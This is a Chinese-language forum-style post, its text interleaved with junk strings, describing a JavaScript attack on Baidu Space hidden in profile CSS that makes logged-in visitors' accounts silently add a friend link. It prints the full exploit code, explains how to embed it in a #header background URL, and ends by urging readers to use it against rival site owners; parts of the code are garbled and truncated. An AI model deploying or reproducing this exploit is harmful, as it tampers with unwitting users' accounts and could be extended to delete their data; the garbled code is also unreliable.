自己的百度空間,瘋狂複製css代碼。但與此同時也出現了百度空間的網絡黑手,利用百度空間的功能,加入自己的代碼,而這些代碼又是惡意的,導致百度空間的用戶遭遇危險。 5 M: D I& ^1 I$ }; _$ V
, P7 C) I/ c6 a! p8 _1 U
這是一個網友發來的短信求助,原文如下: ( s+ H+ \' {/ \5 P
5 z: l6 @( F! b+ f5 J
有個黑客用javascript把我的鏈接改了..並威脅我如果刪除連接就刪除我的空間,最怕的就是這樣的人..我想問您瞭解一下他能用同樣的手段篡改我頁面的其他信息嗎..最好能告訴小弟對付這樣的人的辦法,我實在沒轍了,好鬱悶..謝謝.. ( S. R- X7 j- q$ T: B
* Z/ L1 d( a; b 當時筆者找到該"黑客"的空間,輕鬆發現其利用css代碼加入js代碼,然後又利用js代碼的功能,分析百度空間在提交數據時的參數,構造出來一個惡意的js代碼,功能是提交一個加入友情鏈接的請求到百度空間,導致訪問該網站的已登陸百度空間用戶在自己空間上自動的加一個友情鏈接. 9 @; K/ P! W# Y( |
8 k1 b8 ~' }4 U
下邊是利用代碼: javascript:document.body.onload = function(){
- P. W/ E* ?; Q( l( Y$ G, K& q5 k. i2 O: D* g8 T
( j ^ d l/ K- | y- o
var req = null; 1 e( [7 I* ?0 `1 q
if(window.XMLHttpRequest) req = new XMLHttpRequest();
$ j2 d( }) N* z6 m3 W* e. C2 v& ielse if(window.ActiveXObject){ $ B! e9 P$ Y3 t0 ` @1 b6 w
var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); ( g: M: K) E2 v7 v" P# l/ S
for(var i=0;i
) c( i" Y3 j# ]1 y0 c; `. Ttry{req.overrideMimeType('text/xml')}catch(e){} ' ]4 v1 @2 |% I7 b O5 J( j% z. D
}
! X0 f3 N- e, d3 r6 H0 ~$ `) {req.open('get','.',false);
% f5 o* H5 J, x7 K2 V1 s7 Preq.send();
0 E+ p7 N* s: b% F5 `+ fvar s=req.responseText;
) x: _' t$ w3 b2 G5 j* w2 `p=s.indexOf('passport.baidu.com/?logout');
$ |( d3 L H* q! ~$ C/ Jif(p>0)
% k5 R; _4 B; T6 Y. R6 c( o{ 6 _' u9 B5 A. a$ E- f* U+ [; d
p=s.indexOf(''); 1 N- g, a' y* _5 ^
if(p>0) " Y+ s' o3 ]& \7 ?' x
{
; F* r8 K# A. b" R; J3 C: Jp=s.indexOf('/',p);
' T" k: `% d0 `4 Fp2=s.indexOf(String.fromCharCode(34),p);
4 t8 Y( N; z4 d, j. uvar user=s.substring(p+1,p2);
. Y" @- ~: ?5 t1 B5 j. l2 } nvar name='+%B0%D9%B6%C8%BF%D5%BC%E4%B7%A2%CC%FB%D6%FA%CA%D6 '; ) l. [. S4 ^' z/ _4 e b+ Z7 N, a" W5 g
var link='http://hi.baidu.com/haomm'; ( q4 h+ ?: }, f, t8 T" g
var desc='%CA%B9%C4%E3%B5%C4%B0%D9%B6%C8%BF%D5%BC%E4%D6%A7%B3%D6html%B7%A2%CC%FB'; & ]+ j6 Y8 _0 ]
var url='/'+user+'/commit';
4 c4 H, W4 l6 i4 T$ ~var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc);
+ l0 \$ o( [: Z, m! s4 Sreq.open('post',url,false); . w) _6 |1 ~& b
req.send(data); 5 q% v" R6 o" n' q: U
}
0 c! U" O3 n% F' `" ?1 j# G' \} _. w4 P4 n" q% t* O
} | ? ?7 O$ e. v- ]' F& @
9 |& W6 J' q& |0 A8 q! r/ E) z% Q" R* N/ X; D( s
分析:
6 J; ?1 T9 o4 b. M! B. W! e( [# x$ Y! ?3 k/ Z1 m8 i4 m
該方法危險等級:高級.構造相應的js代碼可以刪除用戶空間的所有數據.該漏洞目前未發現有惡意刪除的現象,但已足夠危險,請用戶小心. ( k/ p/ A8 ^' o7 a$ d
3 |3 C& l; Y1 p6 ` 解決辦法:
7 c7 o r6 K8 [& Y6 X) ^
9 t- ~8 D0 T' q+ F: G 由於攻擊者可能利用任何用戶名的百度空間提交增加,刪除,更改的鏈接,所以目前沒有完美解決辦法. 8 P& y, K0 |1 D& e4 f# E
0 l) T7 I0 {) ?1 U( L6 _
給已經受害者解決辦法:刪除惡意鏈接,不再在登陸的情況下訪問其空間鏈接.
! l! H; s, h# Y \
9 o) ~$ ~" Q% d, g# A1 c0 ^ 利用方法,演示及聲明:
+ P7 r/ J6 c+ W( J8 b" E. g7 u! W7 y) o; Z2 P: ^) W
本空間加入了該漏洞代碼的利用演示,使用方法:在自己空間css裡面找到#header{},在裡面加入上述代碼即可.形式如:#header{height:200px;background:url("上文js代碼");}請小心使用。
6 C& L7 {9 T/ o H
/ J) H) x* w% V. Q8 M' i
% Z0 h. Z: s! M. w$ R
- \7 [2 b! H$ h; L/ b腦子裡模擬你是 你對手的站長 0 t- |3 s5 a1 a) U
利用以上方法強姦百度 |
|